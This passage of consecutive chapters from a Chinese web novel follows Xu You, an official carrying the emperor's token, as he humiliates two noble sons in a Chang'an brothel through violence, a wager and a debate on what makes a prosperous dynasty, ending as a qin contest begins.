又是一道惨叫,比先前的更加猛烈,从卢云口中爆发。 卢云身体抖动,仿佛在抖筛子,脸色苍白如纸,半边袍子都被冷汗打湿,彻底贴在身上。 他左边肩膀塌陷,居然被许攸硬是用手捏断了肩胛骨。 许攸松开手,卢云身体瘫软下去,右手抱着肩膀,在地面上不断打滚哀嚎。 “我要杀了你,我一定会杀了你!” “啊!我的肩膀!” 许攸看都没看一眼,扭头淡定的准备回去继续喝酒。 “站住,本公子让你走了吗?” 楼道另外一头,响起了冰冷的声音。 一名身穿锦衣工资,缓缓从人群中走出,那张峻峭的脸颊上,写满了阴沉和愤怒。 他缓缓来到许攸面前,伸手挡住在门口。 “打了我堂弟,你就想这么一走了事?” 他的声音很冷,就仿佛是九幽寒冰,能把人血液都彻底凝固。 “阁下是不是应该给我一个交代?” 许攸眼眸眯起,余光扫向来人,轻蔑的勾起嘴角。 “你要交代,和本老爷有什么关系?” “放肆!” 锦衣青年被这话气得脸色大变,从先前雪白,变成紫红色。 “你好大的狗胆,你可知道我是谁!” 见到锦衣青年出面,和卢云一起的青年,也纷纷开腔。 “王公子,这厮居然敢伤卢公子,必须严惩!” “就是,此獠嚣张无度,根本不把两位公子放在眼底,真是该死!” “将他四肢打断,丢出去喂狗!” 一声声怒吼谩骂,不断在楼道中扩散。 整个醉月花坊内,都陷入了诡异的气氛,双方剑拔弩张,谁也不想退步。 原本还在寻欢的宾客,一个个放下手中糕点酒杯,亦或者索性直接起身,那些姑娘也纷纷贴着墙壁,生怕有血溅到自己身上。 许攸被众人包围,脸上丝毫不见慌张,周龙等人也没着急动手。 见众人围堵而来,许攸轻挑的吹了个口哨。 “你很有来头?” 其实这话不用问,先前的卢云,一身衣着华贵,就已经让人不敢直视。 眼前的贵公子,比起卢云衣着更加奢华,锦衣玉腰带,脚踩一双蓝白相间靴子,靴子上花纹都是金丝抽出。 对比许攸的一身粗布衣,两人衣着华贵,犹如天上仙人。 见他如此狂妄,锦衣青年笑了,右手唰的一甩,手中折扇打开。 “在下没有什么来头,家父不过是刑部尚书罢了!” “就是不知道你是何人,见到本公子,为何不速速跪拜行礼?” 刑部尚书之子! 四周传来吸气声,宾客们从害怕,变成了看好戏的神态。 得罪刑部尚书,又得罪卢氏,眼前的许攸,十有八九就是个死人。 至于如何死,那就得看眼前锦衣工资的心思。 刑部尚书虽然只是三品,可整个长安城都知道,刑部尚书王亮王大人,乃是世家名门之后。 得罪这位,就等于把刀架到自己脖子上。 而王亮的儿子,则是长安城内有名的“大害”! 众人议论纷纷,大多都是在讨论许攸会如何死,少数几个没讨论的,也都是抱着手看热闹。 说完自己的身份,王奋很得意的看向许攸。 许攸也没想到,今晚真的巧了,他回去实在太困,就先休息一会。 哪知道刚合眼,就被陆判找上门,因为他杀错了人,功德即将被清零。 这一切的一切,都是从卢氏开始,许攸还在想怎么弄卢氏,卢氏的公子再次送到他面前。 不但如此,这次还买一送一,送了个刑部尚书的儿子王奋! “哦?” “刑部尚书王亮?” 许攸语气淡薄,嘴角的弧度,是个人都能看到。 “原来是王尚书家中王粪,王大公子,是下官有眼无珠,没看到您大驾!” 王奋没听出这话意思,傲慢的抬起下巴。 “既然知道是本公子,那还不跪下,今日本公子心情好,就断你双腿!” 他以为自己报出名字,许攸会和以前那些人一样,被吓的屁滚尿流,跪在地上颤颤发抖,求他高抬贵手。 这话说完后,场面并未他想的那样,而是许攸轻笑着看着他。 “王大粪公子,若是本老爷不跪,那又如何呢?” “你爹是你爹,你是你!” “你爹在此,他也不敢让本老爷给他跪下,反倒是你爹若是见了我,说不定要跪下求我!” 醉月花坊内彻底陷入死寂。 王奋眸子瞪圆,脸上的倨傲和嚣张,彻底凝固,逐渐转化为愤怒。 第一百零六章 多少钱 “你……说什么?” 王奋是从嗓子间,把这句话给逼出来。 许攸懒得和他叽叽歪歪,冷笑着侧过头,眼底轻蔑肉眼可见。 “当狗之前,先看好自己身份!” “别以为是刑部尚书的儿子,我就不敢动你。” 说到这里,许攸语气再度压低,阴森的恐怖。 “惹急了,我会让你爹跪着求我!” 轰隆! 此话一出,全场彻底沸腾。 眼前的许攸不过二十多岁,就算是官,撑死也就五品,刑部尚书可是三品正职! 王奋更是怒极反笑,指着许攸,手中的折扇不断颤抖。 “好!很好!你真的很好!” “本公子今日就要看看,你到底有何底气,说出如此狂妄之词!” 说罢,他扭头看向身后家丁护院,双眼赤红,冷冷吩咐道。 “上,打死了,本公子来担着!” 这群家丁早就看许攸不顺眼,得到这道命令,瞬间化作饿狼,从楼梯下直冲而来。 通道并不大,三人站着都嫌拥挤,此刻更是被一股躁动所吞噬。 没有人敢阻挡,花坊内的护院,一个个缩在角落,连看都不敢看一眼。 许攸微眯的双眸张开,他是来寻花,不是来闹事,可惜老天看他不顺眼,故意把卢氏和王奋送到他面前。 “周龙!” 周龙四人从房间内走出,四人齐齐站在许攸身后,只是往那一站,便彰显出不同。 和王奋家丁护院不同,连带许攸在内,五人身上都充斥着煞气,一股无形威压,自五人身上流露。 那是从尸山血海中爬出,每一步都踩着无数枯骨。 冲在最前面的家丁,以为这是个建功立业好机会,哪知道刚抬头,就遇到一双赤红的双眸。 那眸子中,人影不断闪烁,伴随嘴角的裂开,给家丁一种猛虎狩猎的错觉。 “啊!鬼……他是鬼!” 家丁慌了,呼吸间双腿颤抖,竟是不敢再往前踏半步。 他慌了,许攸等人没慌,五人背靠背结成战阵,虽空手却能抵挡千军万马。 咔嚓,咔嚓! 骨骼碎裂声,在楼道内响起,沉闷的声音,让人头皮发麻。 王奋双腿发颤,他见过死人,也折磨过不少人,但从未见过如此冷血景象。 人命在这五人手里,似乎就是草芥。 冲前面的几名家丁,不过是呼吸间就被扭断四肢,丢到角落内痛苦哀嚎。 “诸位可否听妾身一言?” 大战一触即发,就在如此时刻,一道清澈声音,如同清泉,在楼道内回荡。 声音清脆婉转,声似黄鹂,又如杜鹃,婉转清澈间,带着一丝丝的幽怨。 许攸一肚子火气,正没地方发作,听到这声音,柳眉上挑,满脸邪气的翻了个白眼。 “你他娘的谁啊!” “管本老爷的闲事,我看你是吃……” 咕嘟。 许攸自认见过不少美女,大唐的美女皇帝都和他同床共枕过,小公主给是被他抱在怀里欺负过。 他侍女姿色也不差,尤其是胭脂,小家碧玉,妥妥的江南美人。 但和眼前的女人比,无论是女帝还是小侍女,都差了几分。 一袭白色长裙拖曳,裙摆如同繁花,一层接着一层,每一层上都有不同纹饰,玉肩雪白,肌肤细腻如同养殖。 纤细腰肢,如同细柳,青丝飘散,发髻上插着一朵火红牡丹,除此之外,没有半点的妆容。 即便是如此,也依旧将她的媚和美,给展现出来。 洛水! 许攸心中惊讶万分,难怪此女敢叫洛水,果然有洛神之容颜,又有妲己的妩媚,是所有男人心中梦寐以求的存在。 只是站在哪里,就让他想到了一句话。 闲静时如姣花照水,行动处似弱柳扶风! 这位洛水美人,将妩媚和娇弱融合,清纯中带有魅惑,魅惑中带着圣洁,宛若谪仙降世,让人只可远观,不敢亵渎。 “洛水姑娘!” “居然是洛水姑娘亲自出面,今夜我等前来,不虚此行!” “不知今日谁能拔得头筹,一想到洛水姑娘就要投入他人怀抱,我便心中绞痛。” “少他娘的拽斯文,老子出一千两!” “五千两,都别和我抢,我就喜欢洛水!” “没钱的滚一边去,一万两!” 楼下有欢呼,有惊呼洛水的美,也有哄抬物价的。 刚才还面红脖子处的各个富家公子,在见到洛水出面后,居然收起了脸上的嚣张,一脸仰慕和痴呆表情。 在许攸不爽的目光中,洛水莲步轻抬,一步步挪动,来到他和王奋的面前。 那娇软身躯躬身,朝着许攸一拜,香气更是冲天。 “两位切莫动怒,诸位都是冲着洛水而来,为何不能坐下,何必为了些许小事,而伤了和气?” “不如这样,洛水给几位陪个不是,先请诸位饮上一杯,不知几位可否给洛水给面子?” 妖精! 许攸再度眯起眼,眼前这娘们可不简单,心思都不亚于女帝。 果不其然,王奋等人脸上浮现出激动。 “不行!我们可和洛水姑娘共饮,但是此獠不可!” “此人不但伤了卢公子,还敢打伤王公子的随从,此罪难饶!” “将他赶出去,此等粗鄙之人,不配和我等坐一桌!” 王奋从先前惊慌中回过神,看向许攸的眼神,变得玩味和不屑。 王家不但有钱有权,最重要的一点,那就是正统! 今夜他就是冲着洛水而来,打算一拔头筹,共赴鱼水之欢。 谁知道遇到了许攸这狂徒,险些没坏了他的好事。 “洛水姑娘,今夜本公子前来,是来庆贺你出阁,而不是和什么阿猫阿狗同桌共饮!” “家父乃刑部尚书,他……算个什么东西?” 王奋的话一点脸面都没给洛水留,不但再次针对许攸,还把周围的人被贬低一遍。 论家室,在场能比得过的,也就卢家工资卢云。 论权利,在场没一个人能比得过他。 家父刑部尚书! 这话就是最大的底气! 洛水那张完美无瑕的俏脸上,第一次露出为难且苦涩的笑容。 一双如水眸子中,水光不断泛滥。 许攸本来是没想法,现在看到洛水这可怜兮兮的模样,他……有想法了。 “睡你多少钱?” 这话一出,不仅是洛水,连王奋都把眼睛给瞪圆。 第一百零七章 赌就赌大点的 “粗鄙!” 王奋面容扭曲,手中的折扇,都因为愤怒,而在不停轻颤。 对许攸而言,粗不粗鄙,和他有个半毛钱的关系,他是来逛青楼的。 青楼是什么地方? 那不就是寻欢作乐,找女人,看妹妹们跳舞,顺带撒撒币,关心下失足姑娘们心情和身体的地方吗? 在这里一个个装的和圣人似的,开口之乎者也,闭口吟诗作对。 “我就是粗鄙,本老爷说的,那又如何?” “堂堂醉月花坊,难道不是买醉卖春之地,何时变成了高雅所在?” “是你们可以在这里,学到治国道理,还是能在这里得到数不尽的财富?” “她就是个青楼女子,这里就是勾栏,本老爷就是来嫖……” 说到这里,许攸突然干咳一声。 “本老爷是来拯救失足姑娘,慰问她们的!” 好歹他也是个官,嫖字可不能随便乱说。 这话一出,洛水脸上的表情,从刚才温婉妖媚,变成了凄然。 “郎君高见,洛水蒲柳之姿难登大雅之堂,不过是个风月女子罢了。” 她的声音很低,低到不可思议,充斥着一种莫名的悲伤。 “无论是大儒名仕,都不会自降身份,来此烟花之地,更不会屈尊对妾身有任何笑颜。” “妾身所设下难题,也不过是笑话而已。” 现实就是残酷,没有什么美好可言。 许攸眯起眼,要是洛水娇滴滴撒娇,说一些软话,他会扭头就走,但现在他反而想留下来。 能认识自己处境,也能意识到囚笼,想要打破枷锁,洛水的出身,限制了她的眼界。 “你所学是什么?” 洛水对眼前的许攸,也充满了好奇。 她见过无数男人,那些人之中,有世家 公子,例如王奋之流,这些人都是垂涎她美色。 还有一些自诩风流才子,但在她面前,却表现的不如个龟公。 达官贵族,洛水见过,王公将相,她也见过,偏偏没见过许攸这样的。 说直率,又带着放浪不羁。 说狂妄,却充满粗浅道理。 这一次的洛水,没有先前的自怨自怜,而是起身,庄重朝着许攸行礼。 “小女子可否请教郎君名讳?” “姓许名攸,字无德。” 许攸?无德? 洛水俏脸上浮现出错愕,那张小脸上的表情变化速度之快,连许攸都惊叹。 “你还没回答本老爷的问题。” “回许相公的话,小女子熟读四书九经,擅长诗词经意,也会一些排兵布阵。” 许攸眼前放光,这绝对是个人才。 “算术杂学呢?” “略懂。” 两人的谈话,把周围众人彻底给弄懵。 尤其是老鸨,她在醉月花坊多年,从未见过洛水露出如此表情。 洛水的才学也并非浪得虚名,当今帝师李牧,大唐首辅就曾经赞叹,若非女儿身,当以挂印执掌乾坤。 许攸眼底惊讶很快消散,他对眼前这个漂亮妹妹,越发的感兴趣。 “你赎身有没有什么规矩?” “许相公要为小女子赎身?” 洛水俏脸上浮现出一抹失望,而后又低下头,喃喃低语。 “小女子乃醉月花坊的花魁,今日出阁,也是感谢各位嬷嬷多年养育,若是许相公真想为小女子赎身,只需要答完题目。” “小女子早已准备好赎身银钱,不需相公再次花费。” 这话给许攸说不会了。 他哪想到洛水这么直白,给他这老司机整的多少有点尴尬。 愣了片刻后,他这才开口道。 “那今天可有乐子了,几道题目而已,今日我必定要把你拿下。” 人群再次骚动,见许攸居然不知死活,不少人的眼底,露出讥讽色彩。 在旁边的王奋,度过初始的惊愕后,脸上也浮现出轻蔑。 王奋斜瞥许攸一眼,那眼神似乎在看一个路边野狗,眼神中充满鄙夷和轻视。 “就你?” 在他看来,许攸刚才说那么多,就是为了表现自己,而故意做出的假象。 他也看出来,眼前许攸是个官,官职不大,也未曾在长安城露过面,多半是从乡野角落突然提拔,以为到了长安城,就是飞黄腾达。 对于这种小吏,王奋最有经验。 今天他不仅要为卢云报仇,还要将眼前挑梁小丑,给狠狠踩在脚下。 “你既然如此自信,可要和本公子赌上一场?” 许攸就纳闷,他是看上去就那么清闲,还是看上去就那么好欺负的主吗? 眼前的王奋好歹也是刑部尚书儿子,怎么搞得和弱智一样。 “我说王大公子,你没事凑什么热闹?” “这是我和洛水姑娘的事情,你算哪门子葱?你爹是尚书,不是侍郎,你也不是看门口,怎么就那么爱管闲事?” 四周众人闻言,齐刷刷瞪大双眼。 骂王亮的人,长安城内不在少数,但如此直白的,可从未有过。 王奋的表情也变得狰狞,英俊脸颊挤在一起,整张脸都因为愤怒,而变成了紫红色。 “好!既然你不知死活,我就给你这次机会!” “你可敢和我赌一场?” 许攸更加没兴趣,他来狎妓,不是来看男人,真要看男人,周龙赵虎哪一个不比个小白脸帅? “没兴趣。” 王奋一口老血差点喷出,他以为自己就已经很无耻,哪料到许攸更加无耻。 “我有钱,你若是赢了,我给你一万两!” 不得已之下,王奋咬着牙,恨恨看向许攸。 “本公子也不要你的钱,你若是输了,就脱掉衣服,沿着这朱雀大街跑一圈,边跑边说你是废物,如何?” 他不相信,到这种地步,许攸还能沉得住气,不答应他的赌约。 许攸愕然的指指自己,又指向门外的朱雀大街。 “王大少爷,你确定没说错?” “那是当然!” 王奋现在恨不得咬死许攸,但又没任何的办法,只能含恨咬牙,死死盯着许攸。 “你是不是不敢?” “本公子看你也有些才学,这才给你三分薄面,你若是不敢,那就乘早滚出去,省的丢人现眼。” “不不不,王大公子,咱们玩的太小,不如咱们玩大点的?” 许攸坏笑连连,鱼儿终于上钩了,也是时候展现出他的獠牙。 第一百零八章 赌斗开始 “王大少爷你要是不敢赌,那就直说,我这个小官,可不敢得罪刑部尚书。” “你爹是刑部最大的官,我在他面前,不过是个小喽啰而已。” “是不是,王大少爷?” 在场众人脸色很是怪异,先前许攸表现的很狂,现在又表现得很卑微,那样子就好像不是一个人。 虽说堂堂刑部尚书,是刑部乃至大唐核心存在,但从许攸口中说出,就仿佛是什么难以启齿的龌龊。 “大胆!” “你居然敢侮辱家父!” 王奋怒吼一声,双目赤红,死死瞪着许攸。 “你要赌什么,本公子今日奉陪到底!” “本公子倒要看看,你要是和那狗一样,在朱雀大街上狼狈逃窜,到时候你又是何嘴脸!” 许攸笑的很开心,钓鱼这么长时间,不就是为了收网这一刻? 卢氏害得他差点无法开启轮回,这血海深仇,他不可能不报! “很简单,你和他一起脱光了,你们抱一起,嘴对嘴亲,然后让画师花一百张,贴满整个长安城就行。” “对了,记得下面备注,你们是真爱哦!” 噗嗤! 洛水是真没忍住。 许攸所言的两人,其一是王奋,其二便是刚爬起来的卢云。 两人是堂兄弟,关系虽然不亲,但在京城中也经常往来,算得上是好兄弟。 一想到两人抱在一起,还被画师画下,贴满长安城,是个人都会恶汗。 周围的宾客,从开始错愕,到现在满脸都是兴奋。 “我的天,这可是刑部尚书之子,还有卢氏的公子,这人怕是疯了!” “管他那么多,平日高高在上公子,要是真输了,那就有乐子看!” “咱们今日可没来错,虽然抱不到洛水姑娘,可这处戏,也是极好的!” 周围众人伸长脖颈,恨不得站到许攸身边来吃瓜。 洛水左手捂着杏口,眼睛眯成月牙,也是被许攸“赌注”给惊的合不拢嘴。 她发现眼前的青年,一次次刷新她的认知,就仿佛有无穷无尽的戏法,能够随便改变性格和行事态度。 那份狂傲,加上如今的奸诈狡猾,很难想象这是一个人。 眼前的青年到底是谁? 洛水压下心惊讶,再次朝着许攸等人行礼。 “各位郎君,既然你等已经有了约定,那小女子厚颜做个见证,你们看如何?” 现在不是许攸骑虎难下,而是王奋。 王奋乃刑部尚书的儿子,一旦清凉画像被传遍长安城,那么明天王亮就会被一撸到底。 大唐对忠孝礼仪廉耻最为看重,无论从任何方面看,王奋都是触犯了禁忌。 众人注视下,王奋脸色不停变化,从青到白,再从白到红,最后又变成黝黑。 “你耍我?” 此刻的他已经明白过来,许攸不是打算比试,而是冲着他来的。 可惜他明白过来太晚! 许攸表情玩味,躬身作揖。 “王公子此话何意?” “下官不过是个小官,不敢得罪刑部尚书之子,故此只能冒死提高赌注。” “王公子若是不愿意,大可以不接受,下官能耐你如何?” 茶! 茶到让人作呕! 许攸心里和吃了蜜一样爽,怪不得那些反派都喜欢当绿茶。 他心里是爽了,可王奋和吃了苍蝇一样难受。 明明他才是刑部尚书的儿子,明明他爹才是刑部尚书,怎么感觉他现在成了跳梁小丑? “好,我和你赌!” “但是你若是输了,不但要脱光衣服,还得学狗叫!” 许攸半点迟疑都没,他压根不相信自己会输。 被勾错魂这几年,他天天都在地府里面,里面人说话好听,还有真本事,一来二去他也学了不少真东西。 五千年的历史,他就不信自己还比不过个纨绔。 自信的不仅仅是许攸,卢云和王奋都憋着一肚子火气,两人对视一眼后,起身往楼下走。 一楼的大厅内燃起檀香,烟雾寥寥之中,琴声不断溢出。 洛水站在几人面前,躬身一礼后,缓缓开口说道。 “洛水有一惑,始终不得解,今日恰逢诸位郎君在场,不如请诸位帮洛水解惑。” “纵观历史长河,王朝不过三百载,能拥有盛世者渺渺无几,敢问诸位,可有改天换命,创造盛世,开拓历史先河?” 此话一出,整个花坊内的气氛,瞬间变得怪异。 许攸也凝起眉梢,稍感意外。 这道题目并非是洛水所说,而是大唐开国太祖在开科举时候所留。 至今尚未有人给出答卷,哪怕是各位皇帝,也无法完美交出答案。 “诸位郎君,不知道可否给洛水解惑?” 参加比试的并不止许攸三人,还有不少人也参与了,不过他们目的不是让洛水倾心,而是冲着王奋和卢云而来。 此刻的王奋内心大喜,这题目他早就有腹稿,他乃大儒子弟,又是世家豪门出身,对此事见解最为深刻。 眼看许攸还在皱眉,王奋压住心中喜悦,装作思考许久才站起身。 “洛水姑娘,此题简单!” “悠悠历史长河,王朝更替是必然,想要开创盛世,唯有财富独一,才能拥有太平。” “强盛者始终强盛,不保持天补平均,不患寡,权利集中控制,无论是财政,亦或者是兵都需要集中在少数人手里。” “天下无兵可用,无人可反,一切用度由分配决定,自然可得太平盛世。” 一番话说完,王奋很是得意。 他这番话乃是出自世家豪门的经典,乃是无懈可击的标准。 在世家贵族眼中,权利就不应该放任,财富也不应该流露,百姓是下等人,永远不该有出头之日,世家贵族才是真正上等人。 上等人统治下等人,上等人富裕,下等人也自然富裕。 “王公子果然不愧是尚书之子,此言一针见血!” “想要创建康庄盛世,必须将那些贱皮子彻底摒除,否则大唐不兴,盛世不临。” “我等汗颜,没想到王公子如此大才,是我等愚昧。” 众人议论和马屁声中,王奋享受了人上人的特殊待遇。 “轮到你了!” 众人随着他话语,将目光落到许攸身上,一个个都充满讥讽戏谑。 第一百零九章 帮我捡下金牌 “呵呵。” 许攸淡淡笑出声,表情平淡,仿佛根本没听到王奋的话语。 “王大工资,你名字中有个奋,确定不是大粪的粪?” “你若是如此见底,看来灵堂也不是什么好人,只怕你抄家灭族,指日可待!” 场中陷入诡异寂静,所有人都屏住呼吸,惊愕瞪大双眼。 王奋脸色更是瞬间涨红,犹如猪肝一般。 “好!好大的口气!” “你不过是个小官,怎知道国家兴替重要,又如何得知盛世?” “你说我无知,那不妨你来说说,这盛世如何建立,我倒要看看,你这跳梁小丑,能说出什么惊天大道理!” 一声声怒吼,几乎是从王奋嗓子眼逼出来的。 他已经被彻底点燃,恨不得现在就将许攸弄死,让天下看看,这个跳梁小丑,是如何丢人。 可许攸却从头到尾,没看他一眼,甚至连头都没抬。 “盛世,不是你说的那样!” 许攸淡淡的开口,声音清脆,铿锵有力。 “盛世基础是百姓,无论国家有多强大,百姓才是根基!” “笑话!” 王奋嘴角勾起冷冽笑容,在他的眼底,百姓只不过是他的玩物,是他消磨时间的工具罢了。 “区区贱民,安敢和我等相提并论?” “啊对对对,你王氏清高,你王氏了不起,百姓是贱民,若没有百姓给你们鱼肉,你王氏哪来的银钱,哪来的佃户?” 许攸嘴角上扬,眼眸中的不屑,几乎要溢出来。 “想要让王朝强盛,其根本就是百姓,而让百姓富足,最基础的是什么?” “各位可曾想过,你们也是穷苦出身,今日你们能在这里喝酒吃肉,不过是祖辈的双手,一点点求活,从死人堆中爬出。” “他们机缘巧合,得到了田地,发家致富,亦或者走上绝命道路,用身家性命为后世开创基础。” “说到底,百姓强,国家才能昌盛。” 许攸这番话并没有大道理,他只是阐述了事实。 青尧县百姓富饶程度,远超过大唐各地,但人心是不满足的,为了更加幸福,这些人会想方设法的去弄钱。 天补平均是笑话,但资本永远不会变,如何让资本成为利刃,这才是盛世开端。 果不其然,他这话说出,王奋仰头哈哈大笑。 “可笑!” “你说百姓强,国家强,那本公子问你,为何大唐如今四海升平,却没有盛世景象?” “你的意思是,如今的大唐不配,还是当今天子无德?” 这话简直在杀人诛心,一旦许攸承认,哪怕今日他活着走出花坊,明日也得死在朝堂上。 王奋眼角崩开,一抹阴狠和毒辣,在眼角不停闪烁。 他要让所有人知道,和他王奋作对,只有死路一条。 “对,天子无德!也无能!” 许攸很淡定,别人不敢骂,难道他不敢? 开什么玩笑,要是女帝这样一刀把他砍了,他都能笑开花。 不过前提是,他在被女帝砍死之前,怎么也得把卢氏满门给灭了! 整个花坊内只有吸气声,除了他之外,所有人脸色煞白,瞳孔放大。 王奋更是身体轻颤,满脸都是兴奋的紫红色。 “找死!妄议陛下,你该当何罪!” 所有人都看向许攸,虽说大唐言论自由,可如今许攸居然公然说天子无能且无德。 这已经不是非议,这是要倒反天罡! 许攸侧过头,一脸玩味看向王奋。 “你有意见?” “大胆狂徒,天子岂是你能非议的?” 王奋兴奋的都快跳起来了,他没想到许攸居然敢当众编排天子。 这完全是在作死,九族都在蹦跶的那种。 今日他不但要让天下人知道,得罪他王奋什么结果,也要给天子看看,他王奋是多忠心! 可下一秒,他就笑不出来了。 哐当。 许攸袖子一甩,假意苦恼的低下头。 “唉,我就说别把这玩意给我,非得塞我怀里,还让我没事就去宫中,太麻烦了。” “王大公子,您受累,麻烦把那破牌子捡起来,我有点够不着。” 在许攸桌案前不到一尺的位置,一块金色牌子,在烛火下熠熠生辉。 纯金的令牌,只有巴掌大小,上面有龙纹,正面刻着四个大字。 “如朕亲临”。 王奋脸上笑容僵住,整个人呆在原地。 其他人也是目瞪口呆,呆呆看着地上令牌。 “王大公子,你是耳朵聋了,还是眼睛瞎了?” “本老爷和你说话,你听不到?要不让令堂来?” 王奋脸色煞白,脑海内不停思索。 身为长安城有名的纨绔,他对朝中的局势,其实还是有所了解的。 可他从未听说过,当今天子对谁有好脸色,除了天子的恩师,兼首辅李牧外,就再也无人能近天子身。 眼前这小子,到底是什么来历? 众人也惊的不轻,原以为许攸是个酒囊饭袋,谁知道是一尊猛虎,故意戏耍他们。 无论捡还是不捡,王奋都得跪下。 许攸淡定的喝着茶,浑身煞气萦绕,那是从尸山血海中爬出的气势。 “你乃刑部尚书之子,一口一句下等,一口一句贱民,你可知道贱民建立了大唐?” “本老爷问你,太祖起兵推翻暴政,是不是贱民,是不是你口中下等人?” “天子是女儿身,女子自幼便低人一等,那是不是下下等人?” “本老爷说天子无德无能,不都是按照你所言?” “盛世靠的是百姓,想要打破轮回桎梏的,也靠的是百姓,你们不过是吸百姓血肉的蛀虫!” 许攸言语逐渐锋利,整个人就如同一把出鞘的利刃。 “你问本老爷如何盛世,本老爷告诉你。” “盛世无非三点,土地自由,财富均很,限制资本!” “至于如何做,本老爷无需和你们这些凡夫俗子议论,朽木不可雕也!” “尔等不过一群米虫,井底之蛙罢了,也敢言天外世界,当真笑话!” 许攸说完,悠然坐了回去,那模样仿佛刚才那些震天言论,不是出自他的口中。 在场每个人,都在沉思。 “洛水姑娘,你若是想知道,今晚洗白白的床上等着本老爷。” “本老爷会和你促膝长谈,交流深浅。” 第一百一十章 准备炫技的卢公子 无耻! 人要是有境界的区分,那许攸绝对是最无耻的那个等级。 在场众人起初是震惊,再到面容扭曲,连洛水都是如此。 她俏脸通红,一双美眸泛起涟漪,刚因许攸惊天豪言而萌动的芳心,这会已经变成了杀心。 眼前这个男人,不但行事诡谲,性格更是乖张,让人无法揣测。 在许攸的身上,她根本看不透,也无法看头。 “王公子,你还要继续比下去吗?” “再比下去的话,我可能会害怕你背后的身份,毕竟你爹可是刑部尚书。” 许攸端起就被,幽幽开口。 那玩味的语气,还有那讥讽的表情,都让人很不掐死他。 王奋面如死灰,不甘的站在原地,他输了!输给个贱民,输给他最看不起的存在! 他以为自己高人一等,在许攸面前,却被彻底粉碎。 他不甘心,不甘心就这么输给个贱民! “王公子,你要是不服气,咱们还有两题,不过你可要记得约定。” 说到这里,许攸故意停顿片刻,嘴角勾起一抹冷笑。 “我很期待两位公子,抱在一起热吻,定然会成为佳话!” 轰隆! 人群炸锅。 先前他们都忘记,下意识以为今天是洛水的出阁日子,却忘记在这出阁之前,许攸可是和卢云以及王奋打赌。 许攸输,就得光着去爬朱雀大街。 卢云和王奋输,那就得脱光了嘴对嘴亲,还得被画师画下来。 两个大男人…… 所有人目光中,不由浮现出期待,一个个将视线落到王奋身上,那眼神中充满了看好戏的神色。 王奋脸色猛地变绿,他自己都忘记了这件事,满脑子都是对许攸的恨,恨不得掐死他。 他堂堂刑部尚书之子,王氏的嫡系,和卢氏公子抱在一起热吻,这等惊世骇俗的事情,一旦传出去,他们王氏和卢氏,日后如何在大唐立足? 到了那时候,不但是他,整个家族都要陷入泥沼。 “我还没输!” “洛水姑娘定下三道试题,这第一道算你赢,那又有何妨?” 输了之后的结果,王奋承担不起,也不愿意承担。 “洛水姑娘,你还愣着干什么,难不成要本公子请你把题目拿出来不成!” “适才本公子身体抱恙,下一题就由我堂弟来代为作答。” “听闻洛水姑娘琴棋书画样样精通,音律造诣也颇高,我这堂弟恰好懂些音律,就以音律为题,如何?” 此言一出,众人都恍然,堂堂刑部尚书之子,居然耍赖。 耍赖就作罢,现在还要以势压人。 王奋知道自己无法奈何许攸,所以他决定,在题目上动手。 天下世家豪门林立,没有个普通人会不怕世家豪门的存在。 洛水俏脸微微发白,饶是她想到王奋会耍赖,也没想到对方会如此无耻,居然当众要挟她。 “许相公,你觉得如何?” 许攸无所谓的摊开手,琴棋书画这些都是他玩剩下的。 “我倒是无所谓,只是不知道某些人,会不会输了之后也赖账!” “大家都是混长安城的,好歹也算个****,何必遮遮掩掩,搞得自己低人一等。 ” “卢公子,你说是不是?” 卢云脸上青白交加,此次不但王奋输不起,他也输不起。 相比王奋还有后路,他则是半点都没。 卢氏在长安城内根系浅薄,在朝堂上也只有一位御史大夫。反观王氏在朝堂上,不但有王亮这位六部尚书,更有不少子弟在军中任职。 赌约一旦输了,王亮至多被发配回族地,而卢云可能命都保不住。 “我不会食言,若是我败了,我会履行赌约!” 卢云有自己的傲气,身为卢氏二公子,他还不知道,他的亲弟弟,已经被许攸送去阎王爷报道。 他自信的来源,源自他的老师。 大唐第一音律大师,空竹大师! 空竹大师精通琴瑟鼓筝箫,一人就能演奏十八般曲目。 不等许攸开口,卢云起身沉声道。 “给我取琴来!” 今日他必须证明自己,证明自己比许攸强! 许攸没阻拦,他到要看看,卢氏这帮人,到底有几个脑袋,敢和他作对。 两名侍女将木琴取来,取来的是七弦,大唐内所用琴弦,也大多是七弦。 七弦琴比较好控音,对技巧要求不是太高,可当侍女将琴放下,卢云却从怀里掏出一把匕首。 镶金象牙匕首,在烛火下闪过。 众人只见到琴案上刚才还是七弦的琴,现在已经变成了五弦。 “五弦,难不成是空竹大师的成名绝技,要使用传说中的天魔指?” 许攸听得云里雾里,什么时候大唐变成了高武世界,不流行钝刀子砍肉,开始比技能了? 正当他意外时,耳边琴声响起。 琴声打开大和,时而急促,时而轻患,给人一种马踏城池,大战将至的感觉。 一时间,不论是许攸还是洛水,亦或者在场宾客,都是满脸惊讶。 许攸收起轻视之心,眼前的卢云确实有两把刷子,琴音寥寥,大音急促,小音强势,如置身与万千贼寇。 听了一会,许攸便不在继续听,眯起眼淡然的品茶。 周围人可没他这么淡定,急促琴声扣动心弦,让他们额头都冒出细密汗珠,一个个捏紧拳头,恨不得亲身参与。 时间一分一秒过去,琴音越来越急,似乎最后决战的时刻即将来临。 洛水也瞪大双眸,她原以为卢云只是狂,却没想到对方技艺高超,以五弦琴为基,演奏了一场惊天地的华丽杀阵。 “天魔指果然名不虚传,传闻此套指法配合五弦琴,可以将任何谱子演奏之极境!” “这四面埋伏确实扣人心弦,我都感觉自己似乎被带入了战场,让我身上衣服都被冷汗打湿。” 在场除了许攸几人,其余人都受到了琴音影响,有定力差的,面色都发白,坐在原地都是坐立不安景象。 “卢公子的琴艺,小女子佩服!” 哪怕看不起卢云,洛水还是起身行礼,对他琴艺表示由衷的赞叹。 闻言,满堂哗然,众人都看向许攸,等待他接下来表演。 第一百一十一章 许攸他不懂弹琴 “就这?完事了?” “我家狗弹的都比你好听!” 许攸掏掏耳朵,玩味的吹了下手指。 场中的众人,被他话刺激,一个个脸色难看。 卢云更是将脸色拉拢,满脸阴沉的盯着许攸。 “许公子,做人留一线,日后好想见!你若是继续如此毫无口德,我一定会请叔伯在朝中参你一本!” “你二叔?那个御史台的御史大夫?” 许攸瞪大眼,他现在很怀疑,下令弄死那三百多无辜人群,就是卢云的二叔。 不管如何,只要任何人阻碍他功德,还敢偷他功德的,那只有死路一条! 卢云眉头紧皱,他发现许攸的嘴,属实厉害,他们这些纨绔平日里无人能敌,但遇到许攸,瞬间就没了办法。 说是说不过,但他有办法。 周围卢云的小弟,见到卢云眼色后,纷纷开口嘲讽。 